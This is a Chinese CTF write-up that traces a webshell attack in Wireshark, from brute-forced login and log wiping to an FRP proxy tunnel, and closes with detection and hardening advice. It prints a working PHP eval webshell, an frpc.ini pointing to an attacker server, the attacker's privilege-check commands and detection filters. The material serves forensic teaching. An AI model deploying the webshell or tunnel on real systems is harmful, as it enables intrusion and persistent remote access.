从零破解CTF流量分析:Webshell攻击全链路追踪实战
第一次打开Wireshark看到密密麻麻的数据包时,我和所有初学者一样感到头晕目眩。直到在去年的NSSCTF陇剑杯比赛中,那道关于Webshell流量分析的题目让我突然开窍——原来每个数据包都在讲述黑客的攻击故事。本文将用最接地气的方式,带你重现这场"数字侦探游戏"的全过程。
1. 初识战场:流量分析基础准备
在开始解剖攻击流量前,我们需要配置好"数字解剖台"。推荐使用Wireshark 3.6+版本,这个版本对HTTP协议解析做了大量优化。打开题目提供的pcap文件后,先做三个关键设置:
- 协议着色规则:在"视图"→"着色规则"中,将TCP错误包设为红色,HTTP GET请求设为浅蓝,POST请求设为深蓝。这能快速定位异常流量。
- 首选项优化:在"编辑"→"首选项"→"协议"中找到HTTP,勾选"解压GZIP内容"和"解析HTTP表单数据"。
- 过滤表达式:在过滤栏预存几个常用表达式:
http.request.method == "POST" # 重点监控上传行为 tcp contains "whoami" # 查找权限探测指令 frame contains "eval(" # 捕捉可疑PHP函数
实战技巧:遇到大型流量文件时,先用statistics → Protocol Hierarchy查看协议分布。某次比赛中,我通过发现SSH流量占比异常,仅用10分钟就定位到攻击者的入口点。
2. 攻击者画像:从登录行为开始追踪
黑客的足迹通常从认证环节开始。在本题中,我们需要先找到系统登录凭证:
- 在Wireshark搜索栏输入
http.request.method == "POST" && http contains "password",立即定位到关键数据包 - 右键数据包选择"追踪流"→"HTTP流",可以看到完整的表单提交内容:
POST /admin/login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=Admin123!@# - 特别注意密码中的特殊符号
!@#,这是典型弱密码特征
深度分析:通过http.time > 1筛选响应延迟超过1秒的请求,可以发现黑客尝试了多次暴力破解。统计发现第15次尝试时服务端响应时间突然变长,说明此时触发了安全机制。
3. 蛛丝马迹:日志篡改行为分析
攻击者通常会掩盖行踪。本题中黑客修改了应用日志:
- 使用过滤条件
frame contains "log" && http,快速定位到日志相关流量 - 在数据包详情面板展开"Hypertext Transfer Protocol",发现可疑路径:
GET /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1 - 追踪后续的PUT请求,可见日志内容被清空:
PUT /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1 Content-Length: 0
取证技巧:实际环境中,黑客可能使用sed或truncate命令清理日志。可以通过搜索这些命令特征来发现更多入侵证据:
tcp contains "truncate" || tcp contains "sed -i"4. Webshell的诞生:文件上传与权限获取
攻击者获取立足点后,通常会部署Webshell。本题的突破点在于:
4.1 文件上传特征识别
- 过滤
http.request.method == "POST" && http.content_type contains "multipart",定位文件上传包 - 在编号337的数据包中,发现上传的PHP文件:
<?php @eval($_POST['cmd']); ?> - 右键选择"导出对象"→"HTTP",可以提取出完整的1.php文件
4.2 权限确认过程
黑客通过Webshell执行了权限检查:
whoami # 返回www-data id # 显示属于www-data组在Wireshark中搜索这些命令响应,可以确认当前权限级别。
防御视角:正常PHP应用不应需要执行系统命令的能力。可以通过以下方式加固:
location ~ \.php$ { deny all; location ~ ^/upload/.*\.php$ { deny all; } }5. 内网渗透:代理工具分析与追踪
成熟的攻击者会建立持久化通道。本题中出现了FRP代理工具:
5.1 客户端识别
- 在Webshell流量中搜索
frpc.ini配置文件:[common] server_addr = 192.168.239.123 server_port = 7000 - 通过
tcp.port == 7000过滤可发现控制通道建立过程
5.2 流量特征分析
FRP协议有显著特征:
- 初始握手包含
[FRP]标识 - 心跳包固定间隔30秒
- 数据包长度呈现规律性变化
检测方案:企业级IDS可配置以下规则:
alert tcp any any -> any any (msg:"FRP Client Detected"; content:"[FRP]"; depth:5; sid:1000001;)6. 完整攻击链重建
将各个阶段的关键证据串联起来,我们得到完整攻击时间线:
| 时间序列 | 攻击阶段 | 关键证据 | 防御建议 |
|---|---|---|---|
| T+0 | 暴力破解 | 15次登录尝试 | 账户锁定机制 |
| T+2min | 日志清理 | PUT /21_08_07.log | 日志文件只读权限 |
| T+5min | Webshell上传 | multipart/form-data with 1.php | 文件上传内容检测 |
| T+7min | 权限确认 | whoami命令响应 | 禁用危险PHP函数 |
| T+10min | 代理建立 | FRP控制通道建立 | 出站流量白名单 |
7. 防御者实战指南
基于这次分析,我总结出三条黄金法则:
日志保护三原则:
- 日志目录不可写
- 日志文件权限600
- 实时日志分析告警
Webshell检测四维度:
# 文件特征 find /var/www -name "*.php" -exec grep -l "eval(" {} \; # 行为特征 auditd监控execve系统调用 # 流量特征 NIDS检测异常POST参数 # 时间特征 stat检查最近修改的PHP文件网络隔离策略:
# 禁止Web服务器出站连接 iptables -A OUTPUT -p tcp -m owner --uid-owner www-data -j DROP
在最近一次真实应急响应中,正是通过分析异常FRP流量,我们仅用47分钟就定位到了内网横向移动的攻击者。记住,每个数据包都是会说话的证人,关键在于我们是否懂得提问的方式。